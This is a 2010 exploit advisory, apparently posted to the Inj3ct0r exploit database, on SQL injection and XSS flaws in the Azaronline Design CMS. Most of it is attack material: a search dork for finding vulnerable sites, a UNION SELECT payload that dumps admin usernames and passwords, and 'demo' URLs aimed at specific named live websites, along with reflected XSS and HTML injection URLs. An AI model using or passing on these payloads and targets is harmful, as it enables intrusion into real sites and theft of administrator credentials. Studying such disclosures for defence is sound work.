==================================================== # Azaronline Design SQL Injection Vulnerability ==================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 #################################### 1 0 I'm XroGuE member from Inj3ct0r Team 1 1 #################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ######################################################################## # Name: Azaronline Design SQL Injection Vulnerability # Vendor: http://azaronline.com # Date: 2010-11-02 # Author: XroGuE # Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com ! # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: Inj3ct0r.com ######################################################################## ######################################################################## [+] Dork: intext:"Powered By Azaronline.com" ######################################################################## [+] SQL InjecTion Vulnerability: [+] vuln: http://[site]/[path]/[news.php],[sgallery.php],[etc]?id=[SQLi] [+] XPL : UNION all SELECT 1,2,group_Concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from admin [+] Demo: http://bazitak.com/news/news.php?id=35%20and%201=0%20UNION%20SELECT%201,2,group_concat(id,0x3a,user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25%20from%20admin [+] ****: http://taksport.org/sgallery.php?id=8%20and%201=2%20UNION%20all%20SELECT%201,2,group_Concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20admin ######################################################################## [+] XSS/HTML InjecTion Vulnerability: [+] vuln: [SearCh And Find It :P] [+] XSS Demo: http://bazitak.com/games.php?id=161&k=%3Cscript%3Ealert(String.fromCharCode(66,%20121,%2032,%2088,%20114,%20111,%2071,%20117,%2069,%2033));%3C/script%3E [+] HTML ***: http://bazitak.com/games.php?id=161&k=%3Cmarquee%3E%3Cfont%20color=Blue%20size=15%3EBy%20XroGuE%3C/font%3E%3C/marquee%3E ########################################################################